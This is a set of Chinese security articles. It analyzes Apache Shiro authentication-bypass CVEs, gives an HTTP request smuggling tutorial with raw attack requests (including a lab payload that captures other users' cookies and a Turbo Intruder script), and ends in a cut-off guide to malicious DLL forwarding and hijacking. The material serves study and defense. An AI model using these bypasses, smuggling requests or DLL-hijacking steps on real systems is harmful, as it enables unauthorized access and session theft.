AccessControlFilter:
提供访问控制的基础功能，比如是否允许访问/当访问拒绝时如何处理等。isAccessAllowed表示是否允许访问；mappedValue就是[urls]配置中拦截器参数部分，如果允许访问返回true，否则false。onAccessDenied
表当访问拒绝时是否已经处理，如果返回true表示需要继续处理，如果返回false表示该拦截器实例已经处理了，直接返回即可。
#### 4.2.1 Apache Shiro 身份验证绕过漏洞
**1.漏洞信息**
**1.1 漏洞简介**
* 漏洞名称：Apache Shiro Authentication Bypass Vulnerability
* 漏洞编号：CVE-2020-1957
* 漏洞类型：Authentication Bypass
* CVSS评分：【CVSS v2.0：7.5】【CVSS v3.1：9.8】
* 漏洞危害等级：高危
**1.2 漏洞概述**
Apache Shiro
1.5.2之前的版本，由于Shiro拦截器与requestURI的匹配流程与Web框架的拦截器的匹配流程有差异，攻击者构造一个特殊的http请求，可以绕过Shiro的认证，未授权访问敏感路径。此漏洞有两种攻击方式，第一种攻击方式适用于Shiro
< 1.5.0版本，由于Shiro 1.5.0版本修复补丁考虑不全面，导致补丁绕过，出现了第二种攻击方式，适用于Shiro < 1.5.2版本。
**1.3 漏洞利用条件**
* 无
**1.4 漏洞影响**
影响版本：
Apache Shiro < 1.6.0
**1.5 漏洞修复**
获取Apache Shiro最新版本，下载链接：<https://shiro.apache.org/download.html>
**2.漏洞复现**
**2.1 环境拓扑**
**2.2 应用协议**
8080/HTTP
**2.3 复现过程**
基于Windows平台，使用`环境`目录下的`shiro-basic.zip`环境，解压后，用Idea打开shiro-basic文件夹，下载maven资源，运行ShiroBasicApplication类，即可启动环境。效果如图。
**Shiro < 1.5.0**
构造HTTP请求，发送到服务器，完成身份验证绕过，效果如图
**Shiro < 1.5.2**
**3.漏洞分析**
**3.1 详细分析**
**3.1.1 漏洞利用过程**
**Shiro < 1.5.0**
获取到无权限访问的敏感路径，在路径的结尾添加`/`进行身份验证绕过。
**Shiro < 1.5.2**
获取到无权限访问的敏感路径，在auth认证路径中的添加`;`进行身份验证绕过。
**3.1.2 代码分析**
**Shiro < 1.5.0**
传入的payload首先被服务器接收，并传送给Shiro拦截器处理(org.apache.shiro.web.servlet.OncePerRequestFilter#doFilter方法作为入口)。
调用createSubject方法创建Subject，并调用execute方法进入Shiro FilterChain中。
进入org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain方法中，首先获取请求uri路径，之后迭代获取拦截器的表达式。
这里我们重点关注`/hello/*`表达式。代码进入pathMatches方法，最终调用org.apache.shiro.util.AntPathMatcher#doMatch方法进行传入的requestURI与拦截器表达式进行匹配。
匹配过程中，分别将拦截器表达式与requestURI以`/`作为分隔符进行字符串到数组的转换，通过循环匹配数组中对应的元素，判断requestURI是否符合拦截器表达式匹配形式。
如果表达式中存在通配符`*`，会将containsStar标志位赋值为true，进入 `else if (patIdxEnd ==
0)`判断条件，返回true。
继续跟进代码，在requestURI与拦截器表达式匹配结束后，还会进行一次判断，而漏洞产生的原因也是由于判断的条件。如果Shiro拦截器表达式不以`/`结尾，且requestURI以`/`结尾，判断代码将返回false表示匹配失败，从而绕过Shiro认证。
跟进到Spring处理URI的代码，进入org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal方法，获取requestURI。
进入lookupHandlerMethod方法，调用addMatchingMappings方法，获取Spring拦截器。
进入org.springframework.web.servlet.mvc.condition.PatternsRequestCondition#getMatchingCondition方法调用doMatch方法进行requestURI和拦截器表达式的匹配。
Spring拦截器匹配流程和Shiro大致相同，都是将字符串转换为数组进行匹配。
由于Spring多了一个环节，在检测拦截器表达式与requestURI结尾是否为`/`之后，并没有直接返回false。而是将拦截器表达式结尾添加`/`，并继续进行`path.startsWith(this.pathSeparator)
!= pattern.startsWith(this.pathSeparator)`测试，从而完成了拦截器表达式与requestURI的匹配。
上述攻击方式在Shiro 1.5.0版本中修复，但是被二次绕过，绕过分析如下。
**Shiro < 1.5.2**
Shiro 1.5.0 -1.5.1在认证过程中基本没有变化，主要分析一下二次绕过的利用点。还是以org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain作为起点。
在获取requestURI时,依旧会在getPathWithinApplication方法中调用getRequestUri方法进行requestURI的解析并获取，但是在URI正规化处理时，先调用decodeAndCleanUriString方法进行路径的解码，并清理URI。
进入decodeAndCleanUriString方法，发现此方法会以分号将传入的URI进行截断，并将分号以及分号后面的数据进行清空，返回分号前面的URI数据，从而让`/a/b;/c`变为/a/b。
继续跟进到Spring拦截器的decodeAndCleanUriString方法中
从代码中可以发现，Spring对于分号处理的方式与Shiro不同，Spring会先获取分号的位置，并检测分号后是否存在`/`，如果有，将`/`的位置记录在slashIndex变量中，并将分号前的数据与`/`之后的数据进行拼接，从而让`/a/b;/c`变为`/a/b/c`。返回处理后的requestURI。
由于Spring与Shiro的decodeAndCleanUriString方法不同，攻击者可以使用分号构造路径，绕过Shiro认证，并可以匹配Spring的动态控制器。
**3.1.3 漏洞触发过程**
**Shiro < 1.5.0**
**Shiro < 1.5.2**
**3.1.4补丁分析**
对比Shiro 1.4.2与Shiro
1.5.0版本的改动，在org.apache.shiro.web.filter.PathMatchingFilter类中添加了删除requestURI结尾的`/`的代码。
由于requestURI和拦截器表达式结尾的`/`都会被清除，因此防御了此漏洞。
对比Shiro 1.5.1与Shiro 1.5.2版本的改动
由于Shiro
1.5.2版本中，在进行decodeAndCleanUriString方法之前会先进行uri解析，调用request.getServletPath()和request.getPathInfo()获取ServletPath
和PathInfo 并进行路径拼接，避开了decodeAndCleanUriString对于分号的处理，从而修复了此漏洞。
#### 4.2.2 Apache Shiro 身份验证绕过漏洞
**1.漏洞信息**
**1.1 漏洞简介**
* 漏洞名称：Apache Shiro Authentication Bypass Vulnerability
* 漏洞编号：CVE-2020-11989
* 漏洞类型：Authentication Bypass
* CVSS评分：【CVSS v2.0：7.5】【CVSS v3.1：9.8】
* 漏洞危害等级：高危
**1.2 漏洞概述**
Apache Shiro
1.5.3之前的版本，由于Shiro拦截器与requestURI的匹配流程与Web框架的拦截器的匹配流程有差异，攻击者构造一个特殊的http请求，可以绕过Shiro的认证，未授权访问敏感路径。此漏洞存在两种攻击方式。
**1.3 漏洞利用条件**
**First Attack**
* 无
**Second Attack**
* 应用不能部署在根目录（1.5.1 < Shiro < 1.5.3）
**1.4 漏洞影响**
影响版本：
Apache Shiro < 1.5.3
**1.5 漏洞修复**
获取Apache Shiro最新版本，下载链接：<https://shiro.apache.org/download.html>
**2.漏洞复现**
**2.1 环境拓扑**
**2.2 应用协议**
8080/HTTP
**2.3 复现过程**
基于Windows平台，使用`环境`目录下的`shiro-basic.zip`环境，解压后，用Idea打开shiro-basic文件夹，下载maven资源，运行ShiroBasicApplication类，即可启动环境。效果如图。
**First Attack**
构造HTTP请求，发送到服务器，完成身份验证绕过，效果如图
**Second Attack**
构造HTTP请求，发送到服务器，完成身份验证绕过，效果如图
**3.漏洞分析**
**3.1 详细分析**
**3.1.1 漏洞利用过程**
**First Attack**
获取到无权限访问的敏感路径，在authc认证路径后添加`%25%32%66`进行身份验证绕过。
**Second Attack**
获取到无权限访问的敏感路径，在路径的头部添加`/;/`进行身份验证绕过。
**3.1.2 代码分析**
**First Attack**
传入的payload首先被服务器接收，并传送给Shiro拦截器处理(org.apache.shiro.web.servlet.OncePerRequestFilter#doFilter方法作为入口)。
调用createSubject方法创建Subject，并调用execute方法进入Shiro FilterChain中。
进入org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain方法中，首先获取请求uri路径。
在Shiro1.5.2版本中，对于requestURI处理的方式存在一些不同，此处也是漏洞触发点所在。Shiro1.5.2使用的是request.getContextPath()，request.getServletPath()，request.getPathInfo()拼接的方式。由于getServletPath()方法会对requestURI进行一次url解码，在之后的decodeAndCleanUriString方法中进行第二次url解码。
回到getChain方法中，迭代获取拦截器的表达式。
这里重点关注`/hello/*`表达式。代码进入pathMatches方法，最终调用org.apache.shiro.util.AntPathMatcher#doMatch方法进行传入的requestURI与拦截器表达式进行匹配。
匹配过程中，分别将拦截器表达式与requestURI以`/`作为分隔符进行字符串到数组的转换，通过循环匹配数组中对应的元素，判断requestURI是否符合拦截器表达式匹配形式。
如果表达式中存在通配符`*`，会将containsStar标志位赋值为true，进入 `else if (patIdxEnd ==
0)`判断条件，返回true。
最终回到doMatch方法中，通过判断表达式数组的元素个数与requestURI的元素个数，以及表达式中是否包含`**`，完成后续的匹配。
跟进到Spring处理URI的代码，进入org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal方法，获取requestURI。由于Spring获取requestURI时使用getRequestURI()方法，此方法不会进行URL解码。只会在decodeAndCleanUriString完成一次url解码。
进入lookupHandlerMethod方法，调用addMatchingMappings方法，获取Spring拦截器。
进入org.springframework.web.servlet.mvc.condition.PatternsRequestCondition#getMatchingCondition方法调用doMatch方法进行requestURI和拦截器表达式的匹配。
Spring拦截器匹配流程和Shiro大致相同，同样是将字符串转换为数组进行匹配。
由于Spring只进行了一次URL解码，所以将未完全解码的部分作为一个整体，从而完成了拦截器表达式与requestURI的匹配。
**Second Attack**
漏洞触发点同样是Shiro在修复CVE-2020-1957漏洞时，使用request.getContextPath()，request.getServletPath()，request.getPathInfo()拼接的方式，进行requestURI的获取。
直接跟踪到`uri = valueOrEmpty(request.getContextPath()) + "/" +
valueOrEmpty(request.getServletPath()) + valueOrEmpty(request.getPathInfo());`
在调用getContextPath()方法获取context-path时，会调用removePathParameter方法清除掉分号以及分号到下一个/中间的数据。
接下来进入for循环中匹配candidate与conotext-path是否相同
如果不同，则从传入的URL中继续读取下一级目录，直到condidate与context-path相同，返回从URL截取的目录作为contextPath。由于context-path获取方式和removePathparameters方法对URL的处理，攻击者可以请求，让contextPath变量获取到带有分号的非预期值。
在进行requestURI拼接时，构造出根路径带有分号的requestURI。利用CVE-2020-1957漏洞原理，经过decodeAndCleanUriString方法时，截断reqeustURI中分号后的数据，并返回。从而绕过了shiro权限控制。
**3.1.3 漏洞触发过程**
**First Attack**
**Second Attack**
**3.2.4补丁分析**
对比Shiro 1.5.2与Shiro
1.5.3版本的改动，在org.apache.shiro.web.util.WebUtils类中添加了删除requestURI结尾的`/`的代码。
补丁主要优化了getPathWithinApplication方法，并单独定义了getServletPath方法，getPathInfo方法。补丁修复后，调用getPathWithinApplication方法获取requestURI只会在进行getServletPath方法中进行一次url解码，保持与Spring获取requestURI过程中相同的url解码次数。防御了双重url编码绕过。
获取requestURI直接调用getServletPath方法和getPathInfo方法进行拼接，由于不需要与contextpath拼接，从而防御了First
Attack攻击。
#### 4.2.3 Apache Shiro 身份验证绕过漏洞
**1.漏洞信息**
**1.1 漏洞简介**
* 漏洞名称：Apache Shiro Authentication Bypass Vulnerability
* 漏洞编号：CVE-2020-13933
* 漏洞类型：身份验证绕过
* CVSS评分：【CVSS v2.0：5.0】【CVSS v3.1：7.5】
* 漏洞危害等级：高危
**1.2 漏洞概述**
Apache Shiro
1.6.0之前的版本，由于Shiro拦截器与requestURI的匹配流程与Web框架的拦截器的匹配流程有差异，攻击者构造一个特殊的http请求，可以绕过Shiro的认证，未授权访问敏感路径。
**1.3 漏洞利用条件**
* 无
**1.4 漏洞影响**
影响版本：
Apache Shiro < 1.6.0
**1.5 漏洞修复**
获取Apache Shiro最新版本，下载链接：<https://shiro.apache.org/download.html>
**2.漏洞复现**
**2.1 环境拓扑**
**2.2 应用协议**
8080/HTTP
**2.3 复现过程**
基于Windows平台，使用`环境`目录下的`shiro-basic.zip`环境，解压后，用Idea打开shiro-basic文件夹，下载maven资源，运行ShiroBasicApplication类，即可启动环境。效果如图。
构造HTTP请求，发送到服务器，完成身份验证绕过，效果如图
**3.漏洞分析**
**3.1 详细分析**
**3.1.1 漏洞利用过程**
获取到无权限访问的敏感路径，在authc认证路径后添加%3b进行身份验证绕过。
**3.1.2 代码分析**
传入的payload首先被服务器接收，并传送给Shiro拦截器处理(org.apache.shiro.web.servlet.OncePerRequestFilter#doFilter方法作为入口)。
调用createSubject方法创建Subject，并调用execute方法进入Shiro FilterChain中。
进入org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain方法中，首先获取请求uri路径。
在Shiro1.5.3版本中，对于requestURI处理的方式存在一些不同，虽然Shiro官方在此处做了很多优化，但是依然存在与Spring处理方式不一致的请求，导致漏洞的产生。在Shiro1.5.3版本中，requestURI直接调用getServletPath方法和getPathInfo方法进行拼接。并清除解码后的requestURI中分号之后的数据。
回到getChain方法中，迭代获取拦截器的表达式。
这里重点关注`/hello/*`表达式。代码进入pathMatches方法，最终调用org.apache.shiro.util.AntPathMatcher#doMatch方法进行传入的requestURI与拦截器表达式进行匹配。
匹配过程中，分别将拦截器表达式与requestURI以`/`作为分隔符进行字符串到数组的转换，通过循环匹配数组中对应的元素，判断requestURI是否符合拦截器表达式匹配形式。
由于解码后的requestURI被分号切割，导致pathDirs数组的元素个数少于pattDirs数组的元素个数。导致拦截器表达式与requestURI匹配失败，绕过认证
跟进到Spring处理URI的代码，进入org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal方法，获取requestURI。由于Spring获取requestURI时使用getRequestURI()方法，此方法不会进行URL解码。
进入decodeAndCleanUriString方法，对未进行url解码的requestURI调用removeSemicolonContent方法进行分号截断操作。由于此时的requestURI处于未解码状态，因此编码后的分号是无法被解析的。
进入lookupHandlerMethod方法，调用addMatchingMappings方法，获取Spring拦截器。
进入org.springframework.web.servlet.mvc.condition.PatternsRequestCondition#getMatchingCondition方法调用doMatch方法进行requestURI和拦截器表达式的匹配。
Spring拦截器匹配流程和Shiro大致相同，同样是将字符串转换为数组进行匹配。
由于Spring对requestURI的先进行分号分割操作，再进行了一次URL解码。所以编码后分号之后的数据并不能被有效的分割，进行URL解码后，分号以及分号之后的数据成为了一个新的目录，从而完成了拦截器表达式与requestURI的匹配。
总结：Shiro对于requestURI的处理，先进行URL解码，再进行分号分割。Spring对于requestURI的处理，先进行分号分割，再进行URL解码。二者在解析requestURI时存在差异，因此导致漏洞出现。
**3.1.3 漏洞触发过程**
**3.2.4补丁分析**
对比Shiro 1.5.3与Shiro 1.6.0版本的改动，在Shiro
1.6.0版本中新增org.apache.shiro.web.filter.InvalidRequestFilter类。
在InvalidRequestFilter类中定义了SEMICOLON和BACKSLASH变量分别匹配路径中的`;`和`\`以及URL编码特征。调用isAccessAllowed方法，分别调用containsSemicolon，containsBackslash，containsNonAsciiCharacters方法进行`;`和`\`和不可见字符的检测。如果上述三个特征存在任意一个，则返回400状态。
在org.apache.shiro.web.filter.mgt.DefaultFilter类中添加InvalidRequestFilter拦截器。在org.apache.shiro.web.config.IniFilterChainResolverFactory类中添加/**拦截器表达式，并为所有拦截器表达式赋予invalidRequest，目的是让所有传入的路径都可以经过InvalidRequestFilter检测。
## 参考链接
1.<https://www.infoq.com/articles/apache-shiro/>
2.<https://zhuanlan.zhihu.com/p/54176956>
3.<https://github.com/apache/shiro>
4.<https://www.cnblogs.com/luop/p/4334160.html>
5.[http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html<br](http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html<br) 6.<https://cloud.tencent.com/developer/article/1367702>
7.<https://www.cnblogs.com/geektcp/p/10061908.html>
* * * | 社区文章 |
# 浅析HTTP走私攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
####
作者：锦行科技-安全平台部 Ink23y
如今攻击手段日益层出不穷，令企业防不胜防，因此企业不能再以原有的防守思维去防守。基于攻击者的视角，了解攻击者的攻击手法才能更好地做好防守。本
文介绍的是攻击者常用的一种攻击手法“HTTP请求走私”，它可以使攻击者能够绕过安全控制，未经授权访问敏感数据并直接危害其他应用程序用户。本文由锦行科技的安全研究团队提供，旨在通过剖析“HTTP请求走私”的攻击过程，帮助企业进一步了解攻击者的攻击思路，做好应对策略。
## 1.什么是HTTP请求走私
在复杂的网络环境下，不同的服务器以不同的方式实现RFC标准，利用前后端服务器对数据包的边界了解不一致的情况下，向一个请求数据包中插入下一个请求数据包的一部分，在前端服务器角度看来，它属于一个完整的请求，而在后端服务器看来，它属于两次请求，前端请求的一部分被后端服务器解释为下一个请求的开始。因此，它使攻击者可以绕过安全控制，未经授权访问敏感数据并直接危害其他应用程序用户。
## 2.产生的原因
在HTTP1.1后，增加了一个特殊的请求头Connection: Keep-Alive，建立tcp持续通道，进行一次tcp握手，就能传送多个请求。但这样子只能是请求一次响应一次。为了提高数据传输的效率，减少阻塞。后来就有了HTTP
Pipelining(管线化)字段，它是将多个http请求批量提交,而不用等收到响应再提交的异步技术。如下图就是使用Pipelining和非Pipelining
这意味着前端与后端必须短时间内对每个数据包的边界大小达成一致，否则，攻击者就可以构造发送一个特殊的数据包，在前端看来它是一个请求，但在后端却被解释为了两个不同的HTTP请求。这就导致攻击者可以在下一个用户发送的合法数据包前恶意添加内容。如图，走私的内容(“前缀”)，以橙色突出显示：
假设前端考虑的是内容长度头部(Content-Length)值作为数据包结束的边界，后端优先考虑的是Transfer-Encoding头部。那么从后端角度看，如下图蓝色部份字体属于一个数据包，而红色部份字体属于下一个数据包的开始部份。这样就成功从前端“走私”了一个数据包。
## 3.攻击类别
### 3.1.CL不为0的GET请求
假设前端代理服务器允许GET请求携带请求体，而后端服务器不允许GET请求携带请求体，它会直接忽略掉GET请求中的 Content-Length头，不进行处理。这就有可能导致请求走私。
比如发送下面请求
GET / HTTP/1.1
Host:example.com
Content-Length:44
GET /socket HTTP/1.1
Host: example.com
前端服务器通过读取Content-Length，确认这是个完整的请求，然后转发到后端服务器，而后端服务器因为不对Content-Length进行判断，由于Pipeline的存在，它认为这是两个请求，分别为
第一个
GET / HTTP/1.1
Host: example.com
第二个
GET /socket HTTP/1.1
Host: example.com
则相当于走私了请求
### 3.2 CL-CL
在RFC7230规范中，规定当服务器收到的请求中包含两个 Content-Length，而且两者的值不同时，需要返回400错误。但难免会有服务器不严格遵守该规范。假设前端和后端服务器都收到该类请求，且不报错，其中前端服务器按照第一个Content-Length的值对请求进行为数据包定界，而后端服务器则按照第二个Content-Length的值进行处理。
这时攻击者可以恶意构造一个特殊的请求，
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
123
A
CDN服务器获取到的数据包的长度6，将上述整个数据包转发给后端的服务器，而后端服务器获取到的数据包长度为5。当读取完前5个字符后，后端服务器认为该请求已经读取完毕，然后发送出去。而此时的缓冲区去还剩余一个字母
A，对于后端服务器来说，这个
A是下一个请求的一部分，但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求，则该A字母会拼凑到下一个正常用户请求的前面，攻击在此展开。
### 3.3 CL-TE
所谓CL-TE，顾名思义就是收到包含Content-Length和Transfer-Encoding这两个请求头d的请求时，前端代理服务器按照Content-Length这一请求头定界，而后端服务器则以Transfer-Encoding请求头为标准。
构造数据包
POST / HTTP/1.1
Host: example.com
Content-Length: 16
Transfer-Encoding: chunked
0
chunkedcode
前端服务器处理Content-Length头并确定请求主体长度为16个字节，直到chunkedcode结束。此请求将转发到后端服务器。
后端服务器处理Transfer-Encoding标头，因此将消息体视为使用分块编码。它处理第一个块，它被称为零长度，因此被视为终止请求。缓冲区内还剩下chunkedcode，由于存在pipeline技术，后端服务器将这些字节视为队列中下一个请求的开始。
在做之前记得要把 BurpSuite 的自动更新 Content-Length 功能取消了。
注意：需要发送两次请求
### 3.4 TE-CL
这种情况则属于前端服务器处理Transfer-Encoding请求头，而后端服务器处理Content-Length请求头。
构造数据包
Host:example.com
Content-Length: 3
Transfer-Encoding: chunked
chunkedcode
0
注意0后面加两个rn
前端服务器处理Transfer-Encoding请求头，因此将消息体视为使用分块编码，处理第一块时，有11个字节，直到chunkedcodede的最后一个字节。开始处理第二个块，第二块是0个字节，视为终止请求。此时把请求转发到后端。而后端则在11处完成了对第一个数据包的读取，chunkedcodern0为下一个数据包的开始部份
在做之前记得要把 BurpSuite 的自动更新 Content-Length 功能取消了。
注意：需要发送两次请求
### 3.5 TE-TE
前端服务器处理第一个Transfer-Encoding请求头，后端服务器处理第二个Transfer-Encoding请求头。
构造数据包
Host:example.com
Content-length: 3
Transfer-Encoding: chunked
Transfer-encoding: error
chunkedcode
0
这里是用了两个Transfer-Encoding 字段，并且第二个 TE 字段值为错误值，这里 前端服务器选择对第一个 Transfer-Encoding进行处理，整个请求正常，原封不动转发给后端服务器，而后端服务器则以第二个Transfer-Encoding
字段进行优先处理，而第二个Transfer-Encoding 字段非标准值，根据RPC规范，则会取Content-Length字段进行处理，这样这个请求就会被拆分为两个请求。
在做之前记得要把 BurpSuite 的自动更新 Content-Length 功能取消了。
注意：需要发送两次请求
## 4.攻击扩展
### 4.1.smuggling+reflected xss
单纯的UA处的xss并没有什么危害，但可以结合请求走私攻击进行利用来提升危害
我们可以构造以下数据包，只要发送一次
POST / HTTP/1.1
Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=3 HTTP/1.1
User-Agent: “>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
会在该网站的任意页面触发xss，因为在http序列中，走私的请求会插到用户对网站的请求前面
### 4.2 direct+smuggling
该场景基于url跳转,把用户重定向到一个固定网页，lab为我们提供个跳转api,/post/next?postId=3路由跳转到的是/post?postId=4。
此时我们可以利用走私攻击并配合重定向进行钓鱼。
发送以下数据包一次：
POST / HTTP/1.1
Host: ac501fd21fceba4f80de460400140045.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: ac501fd21fceba4f80de460400140045.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
然后访问原网站任意页面，都会被重定向到/post?postId=4
### 4.3窃取用户请求
利用走私攻击捕捉用户请求数据包，窃取cookie
我们在发送评论处的api接口构造请求包如下
发送以下数据包
POST / HTTP/1.1
Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net
Content-Length: 600
Content-Type: application/x-www-form-urlencoded
Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p
csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123%40qq.com&website=https%3A%2F%2F
成功把用户的请求拼接到走私请求的comment参数上，如下图
## 5.案例
该案例利用的是CL-TE的攻击方式。根据RFC，当Content-Length和Transfer-Encoding两个标头同时出现在同一请求包时，Transfer-Encoding始终被优先处理。但是，如果Transfer-Encoding标头格式错误，则前端服务器和后端服务器之间的对请求的解释可能会有所不同。在该站点上发现的CLTE问题是，在请求包中Transfer-Encoding 和:之间加多一个空格，使该字段的格式为非标准值，此时前端服务器依据RPC规范，优先处理Content-Length，而后端服务器并没严格遵守RPC规范，以Transfer-Encoding为依据进行处理数据包。
恶意请求的说明：
可见用户的正常请求被拼接到X字段，而X请求头非标准请求头，故忽略，而该用户的cookie字段也被拼接到了该走私的请求上
在Burp Collaborator Client上能成功窃取到用户的cookie
## 6.测试工具
在burpsuite上查找到请求包，右键lauch smuggle probe，随后在burpsuite的扫描结果上显示报告
进一步确定漏洞
右键点击”smuggle attack(CL.TE)”
出现Turbo Intruder脚本
# if you edit this file, ensure you keep the line endings as CRLF or you’ll have a bad time
def queueRequests(target, wordlists):
# to use Burp’s HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
# This will prefix the victim’s request. Edit it to achieve the desired effect.
prefix = ”’GET /hopefully404 HTTP/1.1
X-Ignore: X”’ //走私一个uri为/hopefully404的请求包，下一个用户的请求会拼接到X-Ignore字段后面，因此要是存在走私漏洞，则会返回一个状态码为404的数据包
# The request engine will auto-fix the content-length for us
attack = target.req + prefix
engine.queue(attack)
victim = target.req
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
点击“attack”进行爆破测试
看到存在404状态码的数据包，说明存在http走私漏洞
**修复方案** ：
1、前端服务器对前段输入规范化
2、前端服务器使用HTTP2.0
3、后端服务器丢弃非正常请求 | 社区文章 |
本文章将讲解如何使用 Golang 来实现恶意的 dll 劫持转发
## dll 转发概述
dll 转发: 攻击者使用恶意dll替换原始dll，重命名原始dll并通过恶意dll将原先的功能转发至原始dll。
该恶意dll一般用来专门执行攻击者希望拦截或修改的功能，同时将所有其他功能转发至原始dll
一般可与 dll 劫持共同使用。
### dll 搜索顺序
首先我们来看一下 Windows 系统中 dll 的搜索顺序
上图中攻击者可以控制的就是 **标准搜索顺序** 中的步骤，根据情况的不同我们可以选择不同的方式来进行 dll 劫持
### 步骤
要实现 dll 转发，一般需要以下一些步骤
1. 解析原始 dll 的导出表
2. 收集出要拦截修改的函数
3. 在恶意 dll 中实现拦截功能
4. 将所有其他函数转发至原始 dll 上
5. 重命名原始 dll
6. 使用原始 dll 的名称重命名恶意 dll
## PE 文件导出表
### 什么是 PE 导出表？
导出表就是当前的 PE 文件提供了哪些函数给别人调用。
并不只有 dll 才有导出表，所有的 PE 文件都可以有导出表，exe 也可以导出函数给别人使用，一般情况而言 exe 没有，但并不是不可以有
### 导出表在哪里？
PE 文件格式在这里并不进行详细介绍，感兴趣的读者可以自行查阅相关资料。
PE 文件包含 DOS 头和 PE 头，PE
头里面有一个扩展头，这里面包含了一个数据目录（包含每个目录的VirtualAddress和Size的数组。目录包括：导出、导入、资源、调试等），从这个地方我们就能够定位到导出表位于哪里
### 导出表的结构
接下来我们看看导出表的结构
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp; //时间戳. 编译的时间. 把秒转为时间.可以知道这个DLL是什么时候编译出来的.
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; //指向该导出表文件名的字符串,也就是这个DLL的名称 辅助信息.修改不影响 存储的RVA 如果想在文件中查看.自己计算一下FOA即可.
DWORD Base; // 导出函数的起始序号
DWORD NumberOfFunctions; //所有的导出函数的个数
DWORD NumberOfNames; //以名字导出的函数的个数
DWORD AddressOfFunctions; // 导出的函数地址的 地址表 RVA 也就是 函数地址表
DWORD AddressOfNames; // 导出的函数名称表的 RVA 也就是 函数名称表
DWORD AddressOfNameOrdinals; // 导出函数序号表的RVA 也就是 函数序号表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
我们使用cff explorer看看dll的导出表
可惜从这个图上我们并不能观察出导出的函数是否是一个转发函数，我们使用16进制编辑器打开看看
从这个图上我们可以看到 add 导出函数前面还有一些东西 `_lyshark.dll._lyshark.add.add`
这个标识告诉我们这个 dll 的导出函数 add 实际上位于 _lyshark.dll 上
## dll 转发如何工作
当我们调用转发函数时，Windows加载程序将检查该 dll（即恶意 dll）所引用的 dll（即原始dll）是否已加载，如果引用的 dll
还没有加载到内存中，Windows加载程序将加载这个引用的 dll，最后搜索该导出函数的真实地址，以便我们调用它
## dll 转发（dll 劫持）的一般实现
我们能在网上搜索到一些 dll 转发（dll 劫持）的实现，基本是使用微软 MSVC 编译器的特殊能力4
MSVC 支持在 cpp 源文件中写一些链接选项，类似
#progma comment(linker, "/export:FUNCTION_NAME=要转发的dll文件名.FUNCTION_NAME")
### 列出导出函数
下面我们采用 MSVC 对 zlib.dll 实现一个样例5
首先我们能使用 [DLL Export
Viewer](http://www.nirsoft.net/utils/dll_export_viewer.html) 工具查看并导出一个 dll
的导出表
然后我们点击 `View > HTML Report - All Functions`
我们可以得到一个类似于下面的 html
### 给 MSVC 链接器生成导出指令
我们现在可以把这个 html 转化为 MSVC 的导出指令5
"""
The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately.
"""
from __future__ import print_function
import argparse
def main():
